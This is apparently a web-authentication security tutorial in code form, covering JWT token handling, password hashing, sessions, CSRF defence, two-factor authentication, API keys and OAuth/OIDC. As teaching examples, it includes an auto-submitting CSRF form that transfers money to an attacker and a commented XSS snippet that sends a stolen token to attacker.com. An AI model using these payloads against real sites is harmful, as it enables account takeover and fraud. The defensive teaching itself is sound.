    if (!response.ok) {
      throw new Error('Login failed');
    }

    const data = await response.json();
    this.accessToken = data.accessToken;
    this.refreshToken = data.refreshToken;

    localStorage.setItem('refreshToken', data.refreshToken);

    return data.user;
  }

  async refreshAccessToken() {
    if (!this.refreshToken) {
      throw new Error('No refresh token');
    }

    const response = await fetch('/api/auth/refresh', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ refreshToken: this.refreshToken }),
    });

    if (!response.ok) {
      this.logout();
      throw new Error('Token refresh failed');
    }

    const data = await response.json();
    this.accessToken = data.accessToken;

    return this.accessToken;
  }

  async makeAuthenticatedRequest(url, options = {}) {
    if (!this.accessToken) {
      await this.refreshAccessToken();
    }

    const response = await fetch(url, {
      ...options,
      headers: {
        ...options.headers,
        'Authorization': `Bearer ${this.accessToken}`,
      },
    });

    // If token expired, refresh and retry
    if (response.status === 401) {
      await this.refreshAccessToken();

      return fetch(url, {
        ...options,
        headers: {
          ...options.headers,
          'Authorization': `Bearer ${this.accessToken}`,
        },
      });
    }

    return response;
  }

  logout() {
    this.accessToken = null;
    this.refreshToken = null;
    localStorage.removeItem('refreshToken');
  }
}

// Usage
const auth = new AuthService();

// Login
await auth.login('user@example.com', 'password');

// Make authenticated request
const response = await auth.makeAuthenticatedRequest('/api/user/profile');
const profile = await response.json();

// Logout
auth.logout();

// Token lifetimes
const ACCESS_TOKEN_LIFETIME = '15m';
const REFRESH_TOKEN_LIFETIME = '7d';

// Store refresh tokens in database
const refreshTokenSchema = new mongoose.Schema({
  token: { type: String, required: true, unique: true },
  userId: { type: ObjectId, ref: 'User', required: true },
  expiresAt: { type: Date, required: true },
  createdAt: { type: Date, default: Date.now },
  revokedAt: { type: Date },
  replacedByToken: { type: String },
});

// Automatic cleanup of expired tokens
refreshTokenSchema.index({ expiresAt: 1 }, { expireAfterSeconds: 0 });

// Token rotation
async function rotateRefreshToken(oldRefreshToken) {
  // Verify old token
  const decoded = jwt.verify(oldRefreshToken, REFRESH_SECRET);

  // Find old token in database
  const oldToken = await RefreshToken.findOne({
    token: oldRefreshToken,
    userId: decoded.sub,
  });

  if (!oldToken || oldToken.revokedAt) {
    throw new Error('Invalid refresh token');
  }

  // Create new refresh token
  const newRefreshToken = jwt.sign(
    { sub: decoded.sub },
    REFRESH_SECRET,
    { expiresIn: REFRESH_TOKEN_LIFETIME }
  );

  // Mark old token as revoked
  oldToken.revokedAt = new Date();
  oldToken.replacedByToken = newRefreshToken;
  await oldToken.save();

  // Store new token
  await RefreshToken.create({
    token: newRefreshToken,
    userId: decoded.sub,
    expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000),
  });

  return newRefreshToken;
}

// Generate a strong secret
const crypto = require('crypto');
const secret = crypto.randomBytes(64).toString('hex');

// Use environment variables
const SECRET_KEY = process.env.JWT_SECRET;

if (!SECRET_KEY || SECRET_KEY.length < 32) {
  throw new Error('JWT_SECRET must be at least 32 characters');
}

// Short-lived access tokens
const accessToken = jwt.sign(payload, SECRET_KEY, {
  expiresIn: '15m', // 15 minutes
});

// Long-lived refresh tokens
const refreshToken = jwt.sign(payload, REFRESH_SECRET, {
  expiresIn: '7d', // 7 days
});

// ❌ Bad: localStorage (vulnerable to XSS)
localStorage.setItem('token', accessToken);

// ✅ Good: httpOnly cookie (protected from XSS)
res.cookie('access_token', accessToken, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict',
  maxAge: 15 * 60 * 1000, // 15 minutes
});

// ✅ Good: Memory (for SPAs)
class TokenStore {
  constructor() {
    this.token = null;
  }

  setToken(token) {
    this.token = token;
  }

  getToken() {
    return this.token;
  }

  clearToken() {
    this.token = null;
  }
}

function validateToken(token) {
  const decoded = jwt.verify(token, SECRET_KEY, {
    issuer: 'your-app',
    audience: 'your-users',
  });

  // Check expiration
  if (decoded.exp < Date.now() / 1000) {
    throw new Error('Token expired');
  }

  // Check not before
  if (decoded.nbf && decoded.nbf > Date.now() / 1000) {
    throw new Error('Token not yet valid');
  }

  // Validate custom claims
  if (!decoded.roles || !Array.isArray(decoded.roles)) {
    throw new Error('Invalid token structure');
  }

  return decoded;
}

const fs = require('fs');

// Generate RSA key pair
const { generateKeyPairSync } = require('crypto');
const { privateKey, publicKey } = generateKeyPairSync('rsa', {
  modulusLength: 2048,
});

// Sign with private key
const token = jwt.sign(payload, privateKey, {
  algorithm: 'RS256',
  expiresIn: '1h',
});

// Verify with public key (can be shared with other services)
const decoded = jwt.verify(token, publicKey, {
  algorithms: ['RS256'],
});

const blacklist = new Set();

async function logout(token) {
  const decoded = jwt.decode(token);

  // Add to blacklist with expiration
  await redis.setex(
    `blacklist:${decoded.jti}`,
    decoded.exp - Math.floor(Date.now() / 1000),
    'true'
  );
}

async function isTokenBlacklisted(token) {
  const decoded = jwt.decode(token);
  const isBlacklisted = await redis.exists(`blacklist:${decoded.jti}`);
  return isBlacklisted === 1;
}

// Middleware
async function authenticateToken(req, res, next) {
  const token = extractToken(req);

  if (await isTokenBlacklisted(token)) {
    return res.status(401).json({ error: 'Token has been revoked' });
  }

  // Verify token...
  next();
}

// Always specify allowed algorithms
jwt.verify(token, secret, {
  algorithms: ['RS256'], // Only allow RS256
});

// Never use 'none' algorithm
jwt.sign(payload, secret, {
  algorithm: 'HS256', // Specify algorithm explicitly
});

// Use strong, random secrets (at least 256 bits)
const crypto = require('crypto');
const secret = crypto.randomBytes(32).toString('hex');

// Store in environment variables
const SECRET_KEY = process.env.JWT_SECRET;

// Validate secret strength
if (SECRET_KEY.length < 32) {
  throw new Error('Secret key too short');
}

// ❌ Bad: Token in URL
fetch(`/api/data?token=${accessToken}`);

// ✅ Good: Token in header
fetch('/api/data', {
  headers: {
    'Authorization': `Bearer ${accessToken}`,
  },
});

// Always set expiration
const token = jwt.sign(payload, secret, {
  expiresIn: '15m',
});

// Verify expiration on the server
jwt.verify(token, secret, {
  clockTolerance: 0, // No tolerance for expired tokens
});

// Use httpOnly cookies
res.cookie('token', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict',
});

// Or store in memory (for SPAs)
// Never use localStorage or sessionStorage for sensitive tokens

async function validateToken(token) {
  // 1. Verify signature
  const decoded = jwt.verify(token, SECRET_KEY);

  // 2. Check blacklist
  if (await isBlacklisted(decoded.jti)) {
    throw new Error('Token revoked');
  }

  // 3. Validate issuer
  if (decoded.iss !== EXPECTED_ISSUER) {
    throw new Error('Invalid issuer');
  }

  // 4. Validate audience
  if (decoded.aud !== EXPECTED_AUDIENCE) {
    throw new Error('Invalid audience');
  }

  // 5. Additional business logic checks
  const user = await User.findById(decoded.sub);
  if (!user || !user.isActive) {
    throw new Error('User not found or inactive');
  }

  return decoded;
}

User claims: "I am Alice"
System verifies: Username + Password match
Result: Identity confirmed ✓

User: Authenticated as Alice
System checks: Alice has "admin" role
Result: Access granted to admin panel ✓

1. Authentication: User logs in with username/password → Identity verified
2. Authorization: System checks user's role → Permissions granted
3. Access: User accesses allowed resources

User: alice
Password: MySecureP@ssw0rd123

PIN: 4-6 digit code
Used for: ATMs, mobile devices, payment systems

Question: "What is your mother's maiden name?"
Answer: Used as secondary verification

- Hardware security keys (YubiKey)
- Smart cards
- RSA tokens

- SMS codes
- Authenticator apps (Google Authenticator, Authy)
- Push notifications

- X.509 certificates
- Client certificates
- mTLS (Mutual TLS)

- Fingerprint
- Facial recognition
- Iris scan
- Voice recognition
- Behavioral biometrics

- IP address verification
- GPS coordinates
- Geofencing

- VPN requirement
- Internal network access
- IP whitelisting

// WRONG - Never do this!
const user = {
  username: 'alice',
  password: 'MyPassword123'  // Plain text - terrible!
};

const bcrypt = require('bcrypt');

// Hash password during registration
async function hashPassword(plainPassword) {
  const saltRounds = 12;
  const hash = await bcrypt.hash(plainPassword, saltRounds);
  return hash;
}

// Verify password during login
async function verifyPassword(plainPassword, hashedPassword) {
  const match = await bcrypt.compare(plainPassword, hashedPassword);
  return match;
}

// Example
const password = 'MySecureP@ssw0rd';
const hash = await hashPassword(password);
// $2b$12$KIXxLVq5Pq6T8xGvW5kN0OZGpJ...

// Later during login
const isValid = await verifyPassword('MySecureP@ssw0rd', hash);
// true

const argon2 = require('argon2');

async function hashPasswordArgon2(password) {
  try {
    const hash = await argon2.hash(password, {
      type: argon2.argon2id,
      memoryCost: 2 ** 16,  // 64 MB
      timeCost: 3,
      parallelism: 1
    });
    return hash;
  } catch (err) {
    throw new Error('Password hashing failed');
  }
}

async function verifyPasswordArgon2(password, hash) {
  try {
    return await argon2.verify(hash, password);
  } catch (err) {
    return false;
  }
}

class PasswordValidator {
  static validate(password) {
    const errors = [];

    // Minimum length
    if (password.length < 12) {
      errors.push('Password must be at least 12 characters');
    }

    // Uppercase letter
    if (!/[A-Z]/.test(password)) {
      errors.push('Password must contain uppercase letter');
    }

    // Lowercase letter
    if (!/[a-z]/.test(password)) {
      errors.push('Password must contain lowercase letter');
    }

    // Number
    if (!/\d/.test(password)) {
      errors.push('Password must contain a number');
    }

    // Special character
    if (!/[!@#$%^&*(),.?":{}|<>]/.test(password)) {
      errors.push('Password must contain special character');
    }

    // Common password check
    const commonPasswords = ['password', '123456', 'qwerty'];
    if (commonPasswords.includes(password.toLowerCase())) {
      errors.push('Password is too common');
    }

    return {
      valid: errors.length === 0,
      errors
    };
  }
}

// Usage
const result = PasswordValidator.validate('MyP@ssw0rd123');
if (!result.valid) {
  console.error('Invalid password:', result.errors);
}

const crypto = require('crypto');

class PasswordResetService {
  // Generate reset token
  static generateResetToken() {
    return crypto.randomBytes(32).toString('hex');
  }

  // Create reset token with expiration
  static async createResetToken(userId) {
    const token = this.generateResetToken();
    const expires = new Date(Date.now() + 3600000); // 1 hour

    await db.passwordResets.create({
      userId,
      token: crypto.createHash('sha256').update(token).digest('hex'),
      expires
    });

    return token;
  }

  // Verify reset token
  static async verifyResetToken(token) {
    const hashedToken = crypto.createHash('sha256').update(token).digest('hex');

    const reset = await db.passwordResets.findOne({
      token: hashedToken,
      expires: { $gt: new Date() }
    });

    if (!reset) {
      throw new Error('Invalid or expired token');
    }

    return reset.userId;
  }

  // Complete password reset
  static async resetPassword(token, newPassword) {
    const userId = await this.verifyResetToken(token);
    const hashedPassword = await hashPassword(newPassword);

    await db.users.update(
      { id: userId },
      { password: hashedPassword }
    );

    // Invalidate all reset tokens for this user
    await db.passwordResets.deleteMany({ userId });

    return true;
  }
}

const express = require('express');
const session = require('express-session');
const RedisStore = require('connect-redis')(session);
const redis = require('redis');

const app = express();
const redisClient = redis.createClient();

// Configure session middleware
app.use(session({
  store: new RedisStore({ client: redisClient }),
  secret: process.env.SESSION_SECRET,
  resave: false,
  saveUninitialized: false,
  cookie: {
    secure: true,      // HTTPS only
    httpOnly: true,    // Prevent XSS
    maxAge: 3600000,   // 1 hour
    sameSite: 'strict' // CSRF protection
  }
}));

// Login endpoint
app.post('/login', async (req, res) => {
  const { username, password } = req.body;

  const user = await db.users.findOne({ username });
  if (!user || !await verifyPassword(password, user.password)) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }

  // Create session
  req.session.userId = user.id;
  req.session.username = user.username;
  req.session.roles = user.roles;

  res.json({ message: 'Logged in successfully' });
});

// Protected route
app.get('/profile', requireAuth, (req, res) => {
  res.json({
    userId: req.session.userId,
    username: req.session.username
  });
});

// Auth middleware
function requireAuth(req, res, next) {
  if (!req.session.userId) {
    return res.status(401).json({ error: 'Unauthorized' });
  }
  next();
}

// Logout
app.post('/logout', (req, res) => {
  req.session.destroy((err) => {
    if (err) {
      return res.status(500).json({ error: 'Logout failed' });
    }
    res.clearCookie('connect.sid');
    res.json({ message: 'Logged out successfully' });
  });
});

// Redis (recommended for distributed systems)
const RedisStore = require('connect-redis')(session);
app.use(session({
  store: new RedisStore({ client: redisClient }),
  // ... config
}));

// MongoDB
const MongoStore = require('connect-mongo');
app.use(session({
  store: MongoStore.create({ mongoUrl: 'mongodb://localhost/sessions' }),
  // ... config
}));

// PostgreSQL
const PostgresStore = require('connect-pg-simple')(session);
app.use(session({
  store: new PostgresStore({ pool: pgPool }),
  // ... config
}));

// Memory Store (development only - NOT for production)
// Default if no store specified - loses sessions on restart

// JWT in cookies - stateless sessions
app.use(cookieParser());

function createSessionToken(user) {
  return jwt.sign(
    { userId: user.id, roles: user.roles },
    process.env.SESSION_SECRET,
    { expiresIn: '1h' }
  );
}

app.post('/login', async (req, res) => {
  // ... authenticate user ...

  const token = createSessionToken(user);

  res.cookie('session', token, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    maxAge: 3600000
  });

  res.json({ success: true });
});

class SessionManager {
  // Regenerate session ID after login
  static regenerateSession(req) {
    return new Promise((resolve, reject) => {
      const oldSession = req.session;
      req.session.regenerate((err) => {
        if (err) return reject(err);

        // Restore session data
        Object.assign(req.session, oldSession);
        resolve();
      });
    });
  }

  // Session timeout handling
  static checkSessionTimeout(req, res, next) {
    if (req.session.lastActivity) {
      const timeout = 30 * 60 * 1000; // 30 minutes
      const now = Date.now();

      if (now - req.session.lastActivity > timeout) {
        req.session.destroy();
        return res.status(401).json({ error: 'Session expired' });
      }
    }

    req.session.lastActivity = Date.now();
    next();
  }

  // Concurrent session control
  static async checkConcurrentSessions(userId, sessionId) {
    const activeSessions = await redis.smembers(`user:${userId}:sessions`);

    // Limit to 3 concurrent sessions
    if (activeSessions.length >= 3 && !activeSessions.includes(sessionId)) {
      throw new Error('Maximum concurrent sessions reached');
    }
  }
}

Attacker's site:
<form action="https://bank.com/transfer" method="POST">
  <input name="to" value="attacker" />
  <input name="amount" value="1000" />
</form>
<script>document.forms[0].submit();</script>

If user is logged into bank.com, this auto-submits and transfers money!

const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });

app.use(cookieParser());

// Generate CSRF token
app.get('/form', csrfProtection, (req, res) => {
  res.render('form', { csrfToken: req.csrfToken() });
});

// Validate CSRF token
app.post('/process', csrfProtection, (req, res) => {
  // Token automatically validated
  res.json({ success: true });
});

<form action="/process" method="POST">
  <input type="hidden" name="_csrf" value="<%= csrfToken %>" />
  <input type="text" name="data" />
  <button type="submit">Submit</button>
</form>

// Include token in request header
fetch('/api/data', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'CSRF-Token': csrfToken
  },
  body: JSON.stringify({ data: 'value' })
});

// Modern CSRF protection - prevents cookie sending on cross-site requests
app.use(session({
  cookie: {
    sameSite: 'strict',  // or 'lax' for more flexibility
    secure: true,
    httpOnly: true
  }
}));

function generateCSRFToken() {
  return crypto.randomBytes(32).toString('hex');
}

app.use((req, res, next) => {
  if (!req.cookies.csrfToken) {
    const token = generateCSRFToken();
    res.cookie('csrfToken', token, {
      httpOnly: false,  // Must be readable by JavaScript
      secure: true,
      sameSite: 'strict'
    });
  }
  next();
});

app.post('/api/*', (req, res, next) => {
  const cookieToken = req.cookies.csrfToken;
  const headerToken = req.headers['x-csrf-token'];

  if (!cookieToken || cookieToken !== headerToken) {
    return res.status(403).json({ error: 'Invalid CSRF token' });
  }

  next();
});

const speakeasy = require('speakeasy');
const qrcode = require('qrcode');

class TOTPService {
  // Generate secret for new user
  static generateSecret(username) {
    const secret = speakeasy.generateSecret({
      name: `MyApp (${username})`,
      length: 32
    });

    return {
      secret: secret.base32,
      qrCode: secret.otpauth_url
    };
  }

  // Generate QR code
  static async generateQRCode(otpauthUrl) {
    return await qrcode.toDataURL(otpauthUrl);
  }

  // Verify TOTP token
  static verifyToken(secret, token) {
    return speakeasy.totp.verify({
      secret,
      encoding: 'base32',
      token,
      window: 2  // Allow 2 time steps tolerance
    });
  }
}

// Enable 2FA endpoint
app.post('/auth/2fa/enable', requireAuth, async (req, res) => {
  const userId = req.session.userId;
  const user = await db.users.findById(userId);

  // Generate secret
  const { secret, qrCode } = TOTPService.generateSecret(user.username);

  // Store secret temporarily
  await db.users.update(
    { id: userId },
    { totpSecretTemp: secret }
  );

  // Generate QR code
  const qrCodeImage = await TOTPService.generateQRCode(qrCode);

  res.json({ qrCode: qrCodeImage, secret });
});

// Verify and activate 2FA
app.post('/auth/2fa/verify', requireAuth, async (req, res) => {
  const { token } = req.body;
  const userId = req.session.userId;

  const user = await db.users.findById(userId);

  // Verify token
  const isValid = TOTPService.verifyToken(user.totpSecretTemp, token);

  if (!isValid) {
    return res.status(400).json({ error: 'Invalid token' });
  }

  // Activate 2FA
  await db.users.update(
    { id: userId },
    {
      totpSecret: user.totpSecretTemp,
      totpSecretTemp: null,
      twoFactorEnabled: true
    }
  );

  res.json({ message: '2FA enabled successfully' });
});

// Login with 2FA
app.post('/auth/login', async (req, res) => {
  const { username, password, token } = req.body;

  const user = await db.users.findOne({ username });

  // Verify password
  if (!user || !await verifyPassword(password, user.password)) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }

  // Check if 2FA is enabled
  if (user.twoFactorEnabled) {
    if (!token) {
      return res.status(200).json({
        requiresTwoFactor: true
      });
    }

    // Verify TOTP token
    const isValid = TOTPService.verifyToken(user.totpSecret, token);
    if (!isValid) {
      return res.status(401).json({ error: 'Invalid 2FA token' });
    }
  }

  // Create session
  req.session.userId = user.id;
  res.json({ message: 'Logged in successfully' });
});

const twilio = require('twilio');

class SMSAuthService {
  constructor() {
    this.client = twilio(
      process.env.TWILIO_ACCOUNT_SID,
      process.env.TWILIO_AUTH_TOKEN
    );
  }

  // Generate 6-digit code
  generateCode() {
    return Math.floor(100000 + Math.random() * 900000).toString();
  }

  // Send SMS code
  async sendCode(phoneNumber, code) {
    await this.client.messages.create({
      body: `Your verification code is: ${code}`,
      from: process.env.TWILIO_PHONE_NUMBER,
      to: phoneNumber
    });
  }

  // Store code with expiration
  async storeCode(userId, code) {
    const expires = Date.now() + 5 * 60 * 1000; // 5 minutes

    await redis.setex(
      `sms:${userId}`,
      300,  // 5 minutes TTL
      JSON.stringify({ code, expires })
    );
  }

  // Verify code
  async verifyCode(userId, submittedCode) {
    const data = await redis.get(`sms:${userId}`);

    if (!data) {
      throw new Error('Code expired or not found');
    }

    const { code, expires } = JSON.parse(data);

    if (Date.now() > expires) {
      await redis.del(`sms:${userId}`);
      throw new Error('Code expired');
    }

    if (code !== submittedCode) {
      throw new Error('Invalid code');
    }

    // Delete code after successful verification
    await redis.del(`sms:${userId}`);
    return true;
  }
}

class BackupCodeService {
  // Generate backup codes
  static generateBackupCodes(count = 10) {
    const codes = [];
    for (let i = 0; i < count; i++) {
      const code = crypto.randomBytes(4).toString('hex').toUpperCase();
      codes.push(code);
    }
    return codes;
  }

  // Hash backup codes before storage
  static async hashCodes(codes) {
    const hashed = [];
    for (const code of codes) {
      const hash = crypto.createHash('sha256').update(code).digest('hex');
      hashed.push(hash);
    }
    return hashed;
  }

  // Generate and store backup codes
  static async createBackupCodes(userId) {
    const codes = this.generateBackupCodes();
    const hashedCodes = await this.hashCodes(codes);

    await db.users.update(
      { id: userId },
      { backupCodes: hashedCodes }
    );

    return codes; // Return plain codes to show user once
  }

  // Use backup code
  static async useBackupCode(userId, code) {
    const user = await db.users.findById(userId);
    const hash = crypto.createHash('sha256').update(code).digest('hex');

    const index = user.backupCodes.indexOf(hash);
    if (index === -1) {
      return false;
    }

    // Remove used code
    user.backupCodes.splice(index, 1);
    await db.users.update(
      { id: userId },
      { backupCodes: user.backupCodes }
    );

    return true;
  }
}

const jwt = require('jsonwebtoken');

class JWTAuthService {
  // Generate access token
  static generateAccessToken(user) {
    return jwt.sign(
      {
        userId: user.id,
        username: user.username,
        roles: user.roles
      },
      process.env.JWT_SECRET,
      {
        expiresIn: '15m',
        issuer: 'myapp.com',
        audience: 'myapp-api'
      }
    );
  }

  // Generate refresh token
  static generateRefreshToken(user) {
    return jwt.sign(
      { userId: user.id },
      process.env.JWT_REFRESH_SECRET,
      { expiresIn: '7d' }
    );
  }

  // Verify access token
  static verifyAccessToken(token) {
    try {
      return jwt.verify(token, process.env.JWT_SECRET, {
        issuer: 'myapp.com',
        audience: 'myapp-api'
      });
    } catch (error) {
      throw new Error('Invalid or expired token');
    }
  }

  // Refresh access token
  static async refreshAccessToken(refreshToken) {
    try {
      const payload = jwt.verify(refreshToken, process.env.JWT_REFRESH_SECRET);

      // Check if refresh token is revoked
      const isRevoked = await redis.get(`revoked:${refreshToken}`);
      if (isRevoked) {
        throw new Error('Token revoked');
      }

      const user = await db.users.findById(payload.userId);
      if (!user) {
        throw new Error('User not found');
      }

      return this.generateAccessToken(user);
    } catch (error) {
      throw new Error('Invalid refresh token');
    }
  }
}

// Authentication middleware
function authenticateJWT(req, res, next) {
  const authHeader = req.headers.authorization;

  if (!authHeader || !authHeader.startsWith('Bearer ')) {
    return res.status(401).json({ error: 'No token provided' });
  }

  const token = authHeader.substring(7);

  try {
    const payload = JWTAuthService.verifyAccessToken(token);
    req.user = payload;
    next();
  } catch (error) {
    return res.status(401).json({ error: 'Invalid token' });
  }
}

// Login endpoint
app.post('/auth/login', async (req, res) => {
  const { username, password } = req.body;

  const user = await db.users.findOne({ username });
  if (!user || !await verifyPassword(password, user.password)) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }

  const accessToken = JWTAuthService.generateAccessToken(user);
  const refreshToken = JWTAuthService.generateRefreshToken(user);

  // Store refresh token
  await db.refreshTokens.create({
    userId: user.id,
    token: refreshToken,
    expires: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000)
  });

  res.json({ accessToken, refreshToken });
});

// Refresh endpoint
app.post('/auth/refresh', async (req, res) => {
  const { refreshToken } = req.body;

  try {
    const accessToken = await JWTAuthService.refreshAccessToken(refreshToken);
    res.json({ accessToken });
  } catch (error) {
    res.status(401).json({ error: error.message });
  }
});

// Server-side: Set token in httpOnly cookie
app.post('/auth/login', async (req, res) => {
  const user = await authenticateUser(req.body);
  const accessToken = generateAccessToken(user);
  const refreshToken = generateRefreshToken(user);

  // Access token in httpOnly cookie
  res.cookie('accessToken', accessToken, {
    httpOnly: true,    // Cannot be accessed by JavaScript
    secure: true,      // HTTPS only
    sameSite: 'strict', // CSRF protection
    maxAge: 15 * 60 * 1000 // 15 minutes
  });

  // Refresh token in separate httpOnly cookie
  res.cookie('refreshToken', refreshToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    path: '/auth/refresh', // Only sent to refresh endpoint
    maxAge: 7 * 24 * 60 * 60 * 1000 // 7 days
  });

  res.json({ success: true });
});

// Client-side: Cookies sent automatically
fetch('/api/data', {
  method: 'GET',
  credentials: 'include' // Important: include cookies
});

// ❌ Vulnerable to XSS attacks
localStorage.setItem('token', accessToken);

// Any script can read it
const token = localStorage.getItem('token');

// XSS attack example:
// <script>
//   const token = localStorage.getItem('token');
//   fetch('https://attacker.com/steal?token=' + token);
// </script>

// React example - store in state/context
const AuthContext = React.createContext();

function AuthProvider({ children }) {
  const [token, setToken] = useState(null);

  const login = async (credentials) => {
    const response = await fetch('/auth/login', {
      method: 'POST',
      body: JSON.stringify(credentials)
    });

    const { accessToken } = await response.json();
    setToken(accessToken);
  };

  const logout = () => {
    setToken(null);
  };

  return (
    <AuthContext.Provider value={{ token, login, logout }}>
      {children}
    </AuthContext.Provider>
  );
}

// API calls with token
const useAPI = () => {
  const { token } = useContext(AuthContext);

  const fetchData = async () => {
    const response = await fetch('/api/data', {
      headers: {
        'Authorization': `Bearer ${token}`
      }
    });
    return await response.json();
  };

  return { fetchData };
};

// Limitation: Token lost on page refresh
// Solution: Use refresh token in httpOnly cookie

// Combine memory storage + httpOnly refresh token
class TokenManager {
  constructor() {
    this.accessToken = null;
  }

  // Store access token in memory
  setAccessToken(token) {
    this.accessToken = token;
  }

  getAccessToken() {
    return this.accessToken;
  }

  // Refresh token stored in httpOnly cookie on server
  async refreshAccessToken() {
    const response = await fetch('/auth/refresh', {
      method: 'POST',
      credentials: 'include' // Send httpOnly cookie
    });

    const { accessToken } = await response.json();
    this.setAccessToken(accessToken);
    return accessToken;
  }

  // Auto-refresh before expiration
  scheduleRefresh(expiresIn) {
    const refreshTime = (expiresIn - 60) * 1000; // Refresh 1 min before expiry
    setTimeout(() => {
      this.refreshAccessToken();
    }, refreshTime);
  }
}

// Usage
const tokenManager = new TokenManager();

// Login
const { accessToken, expiresIn } = await login(credentials);
tokenManager.setAccessToken(accessToken);
tokenManager.scheduleRefresh(expiresIn);

// API calls
fetch('/api/data', {
  headers: {
    'Authorization': `Bearer ${tokenManager.getAccessToken()}`
  }
});

// Server-side token rotation
class TokenRotationService {
  static async rotateRefreshToken(oldRefreshToken) {
    // Verify old token
    const payload = jwt.verify(oldRefreshToken, process.env.JWT_REFRESH_SECRET);

    // Check if token is revoked or reused
    const tokenInfo = await db.refreshTokens.findOne({
      token: hashToken(oldRefreshToken)
    });

    if (!tokenInfo) {
      // Token reuse detected - possible attack
      await this.revokeAllUserTokens(payload.userId);
      throw new Error('Token reuse detected');
    }

    // Mark old token as used
    await db.refreshTokens.update(
      { token: hashToken(oldRefreshToken) },
      { used: true, usedAt: new Date() }
    );

    // Generate new tokens
    const user = await db.users.findById(payload.userId);
    const newAccessToken = generateAccessToken(user);
    const newRefreshToken = generateRefreshToken(user);

    // Store new refresh token
    await db.refreshTokens.create({
      userId: user.id,
      token: hashToken(newRefreshToken),
      expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000)
    });

    return { accessToken: newAccessToken, refreshToken: newRefreshToken };
  }

  static async revokeAllUserTokens(userId) {
    await db.refreshTokens.deleteMany({ userId });
  }
}

// ✅ Best Practices
const TOKEN_STORAGE_BEST_PRACTICES = {
  webApps: 'httpOnly cookies with SameSite=strict',
  spas: 'Memory (state) + httpOnly refresh token',
  mobileApps: 'Secure storage (Keychain/Keystore)',

  avoid: [
    'localStorage for tokens',
    'sessionStorage for tokens',
    'Regular cookies for tokens',
    'URL parameters for tokens'
  ],

  additional: [
    'Use short-lived access tokens (15 min)',
    'Implement token rotation',
    'Monitor for token reuse',
    'Revoke tokens on logout',
    'Use HTTPS always',
    'Implement CSRF protection for cookies'
  ]
};

class APIKeyService {
  // Generate API key
  static generateAPIKey() {
    const prefix = 'sk';
    const key = crypto.randomBytes(32).toString('hex');
    return `${prefix}_${key}`;
  }

  // Hash API key for storage
  static hashAPIKey(apiKey) {
    return crypto.createHash('sha256').update(apiKey).digest('hex');
  }

  // Create API key
  static async createAPIKey(userId, name, permissions = []) {
    const apiKey = this.generateAPIKey();
    const hash = this.hashAPIKey(apiKey);

    await db.apiKeys.create({
      userId,
      name,
      hash,
      permissions,
      createdAt: new Date(),
      lastUsed: null
    });

    return apiKey; // Return plain key only once
  }

  // Verify API key
  static async verifyAPIKey(apiKey) {
    const hash = this.hashAPIKey(apiKey);
    const key = await db.apiKeys.findOne({ hash });

    if (!key) {
      throw new Error('Invalid API key');
    }

    // Update last used
    await db.apiKeys.update(
      { id: key.id },
      { lastUsed: new Date() }
    );

    return {
      userId: key.userId,
      permissions: key.permissions
    };
  }

  // Revoke API key
  static async revokeAPIKey(keyId) {
    await db.apiKeys.delete({ id: keyId });
  }
}

// API key middleware
async function authenticateAPIKey(req, res, next) {
  const apiKey = req.headers['x-api-key'];

  if (!apiKey) {
    return res.status(401).json({ error: 'API key required' });
  }

  try {
    const keyInfo = await APIKeyService.verifyAPIKey(apiKey);
    req.apiKey = keyInfo;
    next();
  } catch (error) {
    return res.status(401).json({ error: 'Invalid API key' });
  }
}

// 1. Authorization Code Flow (most secure, for server-side apps)
const authUrl = `${AUTHORIZATION_URL}?response_type=code&client_id=${CLIENT_ID}&redirect_uri=${REDIRECT_URI}&scope=read write&state=${STATE}`;

// 2. Client Credentials Flow (for machine-to-machine)
const tokenResponse = await fetch(TOKEN_URL, {
  method: 'POST',
  headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
  body: new URLSearchParams({
    grant_type: 'client_credentials',
    client_id: CLIENT_ID,
    client_secret: CLIENT_SECRET
  })
});

// 3. PKCE (Proof Key for Code Exchange) - for mobile/SPA
const codeVerifier = generateCodeVerifier();
const codeChallenge = generateCodeChallenge(codeVerifier);

const authUrl = `${AUTHORIZATION_URL}?response_type=code&client_id=${CLIENT_ID}&code_challenge=${codeChallenge}&code_challenge_method=S256`;

// Access Token - short-lived, used to access resources
{
  "access_token": "eyJhbGciOiJIUzI1NiIs...",
  "token_type": "Bearer",
  "expires_in": 3600  // 1 hour
}

// Refresh Token - long-lived, used to obtain new access tokens
{
  "refresh_token": "tGzv3JOkF0XG5Qx2TlKWIA",
  "expires_in": 604800  // 7 days
}

OAuth 2.0:  Authorization - "What can you access?"
OIDC:       Authentication + Authorization - "Who are you?" + "What can you access?"

// ID Token - contains user identity information
{
  "iss": "https://accounts.example.com",
  "sub": "248289761001",
  "aud": "your-client-id",
  "exp": 1516239022,
  "iat": 1516239022,
  "name": "Alice Smith",
  "email": "alice@example.com",
  "email_verified": true
}

// Access Token - same as OAuth 2.0

// Refresh Token - same as OAuth 2.0

const { Issuer, generators } = require('openid-client');

class OIDCAuth {
  static async initialize() {
    // Discover OIDC configuration
    const issuer = await Issuer.discover('https://accounts.google.com');

    this.client = new issuer.Client({
      client_id: process.env.OIDC_CLIENT_ID,
      client_secret: process.env.OIDC_CLIENT_SECRET,
      redirect_uris: ['https://myapp.com/callback'],
      response_types: ['code']
    });
  }

  // Initiate login
  static getAuthUrl() {
    const codeVerifier = generators.codeVerifier();
    const codeChallenge = generators.codeChallenge(codeVerifier);
    const state = generators.state();

    const authUrl = this.client.authorizationUrl({
      scope: 'openid email profile',
      code_challenge: codeChallenge,
      code_challenge_method: 'S256',
      state
    });

    return { authUrl, codeVerifier, state };
  }

  // Handle callback
  static async handleCallback(callbackParams, codeVerifier, state) {
    // Exchange code for tokens
    const tokenSet = await this.client.callback(
      'https://myapp.com/callback',
      callbackParams,
      { code_verifier: codeVerifier, state }
    );

    // Verify ID token
